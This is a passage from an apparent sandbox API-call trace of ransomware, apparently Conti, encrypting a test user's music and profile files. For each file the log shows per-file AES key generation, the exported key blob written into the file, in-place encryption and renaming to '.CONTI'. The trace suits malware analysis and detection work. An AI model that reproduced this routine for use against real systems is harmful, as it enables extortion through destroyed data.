	[0140.873] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f29c, pdwDataLen=0x393fdd4 | out: pbData=0x6b4f29c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0140.874] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a" (normalized: "c:\\users\\fd1hvy\\music\\buflf4.m4a")) returned 0x20
	[0140.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a" (normalized: "c:\\users\\fd1hvy\\music\\buflf4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0140.874] GetLastError () returned 0x0
	[0140.874] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=40000) returned 1
	[0140.874] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9c40
	[0140.875] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.875] SetEndOfFile (hFile=0x438) returned 1
	[0140.875] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.875] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.875] WriteFile (in: hFile=0x438, lpBuffer=0x6b4f29c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f29c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.880] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.880] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x9c40, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x9c40, lpOverlapped=0x0) returned 1
	[0140.882] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x9c40, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x9c50) returned 1
	[0140.882] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.882] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x9c50, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x9c50, lpOverlapped=0x0) returned 1
	[0140.882] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.882] WriteFile (in: hFile=0x438, lpBuffer=0x6b4f290*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f290*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0140.882] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.882] CloseHandle (hObject=0x438) returned 1
	[0140.882] GetProcessHeap () returned 0x1720000
	[0140.882] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.882] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a") returned="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a"
	[0140.882] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a.CONTI"
	[0140.882] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a" (normalized: "c:\\users\\fd1hvy\\music\\buflf4.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\BUFLF4.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\buflf4.m4a.conti")) returned 1
	[0140.883] GetProcessHeap () returned 0x1720000
	[0140.883] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.883] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0140.883] GetProcessHeap () returned 0x1720000
	[0140.883] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d288 | out: hHeap=0x1720000) returned 1
	[0140.883] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0140.883] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b449c8 | out: phKey=0x6b449c8*=0x6b7f0f8) returned 1
	[0140.883] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b449cc, pdwDataLen=0x393fdd4 | out: pbData=0x6b449cc*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0140.884] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3" (normalized: "c:\\users\\fd1hvy\\music\\ek0k5nk_ea.mp3")) returned 0x20
	[0140.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3" (normalized: "c:\\users\\fd1hvy\\music\\ek0k5nk_ea.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0140.884] GetLastError () returned 0x0
	[0140.884] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=86979) returned 1
	[0140.884] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x153c3
	[0140.884] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.884] SetEndOfFile (hFile=0x438) returned 1
	[0140.885] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.885] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.885] WriteFile (in: hFile=0x438, lpBuffer=0x6b449cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b449cc*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.890] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.890] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x153c3, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x153c3, lpOverlapped=0x0) returned 1
	[0140.892] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x153c3, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x153d0) returned 1
	[0140.892] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.892] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x153d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x153d0, lpOverlapped=0x0) returned 1
	[0140.892] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.892] WriteFile (in: hFile=0x438, lpBuffer=0x6b449c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b449c0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0140.893] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.893] CloseHandle (hObject=0x438) returned 1
	[0140.893] GetProcessHeap () returned 0x1720000
	[0140.893] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.893] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3") returned="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3"
	[0140.893] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3.CONTI"
	[0140.893] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3" (normalized: "c:\\users\\fd1hvy\\music\\ek0k5nk_ea.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\eK0k5NK_ea.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\ek0k5nk_ea.mp3.conti")) returned 1
	[0140.893] GetProcessHeap () returned 0x1720000
	[0140.893] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.893] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0140.893] GetProcessHeap () returned 0x1720000
	[0140.893] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf1d8 | out: hHeap=0x1720000) returned 1
	[0140.893] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0140.893] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b46c00 | out: phKey=0x6b46c00*=0x6b7f0f8) returned 1
	[0140.894] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46c04, pdwDataLen=0x393fdd4 | out: pbData=0x6b46c04*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0140.894] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav" (normalized: "c:\\users\\fd1hvy\\music\\ig-kik wsz-sf.wav")) returned 0x20
	[0140.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav" (normalized: "c:\\users\\fd1hvy\\music\\ig-kik wsz-sf.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0140.895] GetLastError () returned 0x0
	[0140.895] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=59123) returned 1
	[0140.895] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f3
	[0140.895] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.895] SetEndOfFile (hFile=0x438) returned 1
	[0140.895] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.895] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.895] WriteFile (in: hFile=0x438, lpBuffer=0x6b46c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b46c04*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0141.820] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.820] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xe6f3, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xe6f3, lpOverlapped=0x0) returned 1
	[0141.821] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xe6f3, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xe700) returned 1
	[0141.821] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.821] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0xe700, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0xe700, lpOverlapped=0x0) returned 1
	[0141.821] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.822] WriteFile (in: hFile=0x438, lpBuffer=0x6b46bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b46bf8*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0141.822] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.822] CloseHandle (hObject=0x438) returned 1
	[0141.822] GetProcessHeap () returned 0x1720000
	[0141.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.778] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav") returned="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav"
	[0143.778] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav.CONTI"
	[0143.778] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav" (normalized: "c:\\users\\fd1hvy\\music\\ig-kik wsz-sf.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\iG-kik wsZ-SF.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\ig-kik wsz-sf.wav.conti")) returned 1
	[0143.779] GetProcessHeap () returned 0x1720000
	[0143.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.779] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0143.780] GetProcessHeap () returned 0x1720000
	[0143.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf230 | out: hHeap=0x1720000) returned 1
	[0143.780] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0143.780] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b49e30 | out: phKey=0x6b49e30*=0x6b7f0f8) returned 1
	[0143.780] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49e34, pdwDataLen=0x393fdd4 | out: pbData=0x6b49e34*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0143.780] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini")) returned 0x6
	[0143.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0143.781] GetLastError () returned 0x0
	[0143.781] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=20) returned 1
	[0143.781] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14
	[0143.781] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.781] SetEndOfFile (hFile=0x490) returned 1
	[0143.782] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.782] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.782] WriteFile (in: hFile=0x490, lpBuffer=0x6b49e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b49e34*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.783] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.783] ReadFile (in: hFile=0x490, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x14, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x14, lpOverlapped=0x0) returned 1
	[0143.783] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x14, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x20) returned 1
	[0143.783] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.783] WriteFile (in: hFile=0x490, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x20, lpOverlapped=0x0) returned 1
	[0143.783] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.783] WriteFile (in: hFile=0x490, lpBuffer=0x6b49e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b49e28*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0143.783] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.783] CloseHandle (hObject=0x490) returned 1
	[0143.783] GetProcessHeap () returned 0x1720000
	[0143.783] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.783] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\ntuser.ini" | out: lpString1="C:\\Users\\FD1HVy\\ntuser.ini") returned="C:\\Users\\FD1HVy\\ntuser.ini"
	[0143.783] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\ntuser.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\ntuser.ini.CONTI") returned="C:\\Users\\FD1HVy\\ntuser.ini.CONTI"
	[0143.783] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), lpNewFileName="C:\\Users\\FD1HVy\\ntuser.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\ntuser.ini.conti")) returned 1
	[0143.784] GetProcessHeap () returned 0x1720000
	[0143.784] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.784] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0143.784] GetProcessHeap () returned 0x1720000
	[0143.784] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ebf8 | out: hHeap=0x1720000) returned 1
	[0143.784] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0143.784] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d980 | out: phKey=0x6b4d980*=0x6b7e7f8) returned 1
	[0143.784] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d984, pdwDataLen=0x393fdd4 | out: pbData=0x6b4d984*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0143.785] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini")) returned 0x6
	[0143.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0143.785] GetLastError () returned 0x0
	[0143.785] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=97) returned 1
	[0143.785] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x61
	[0143.785] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.785] SetEndOfFile (hFile=0x490) returned 1
	[0143.791] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.791] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.791] WriteFile (in: hFile=0x490, lpBuffer=0x6b4d984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b4d984*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.792] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.792] ReadFile (in: hFile=0x490, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x61, lpOverlapped=0x0) returned 1
	[0143.792] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x61, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x70) returned 1
	[0143.792] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.792] WriteFile (in: hFile=0x490, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x70, lpOverlapped=0x0) returned 1
	[0143.792] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.792] WriteFile (in: hFile=0x490, lpBuffer=0x6b4d978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b4d978*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0143.793] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.793] CloseHandle (hObject=0x490) returned 1
	[0143.793] GetProcessHeap () returned 0x1720000
	[0143.793] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.793] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini") returned="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini"
	[0143.793] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini.CONTI"
	[0143.793] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\OneDrive\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini.conti")) returned 1
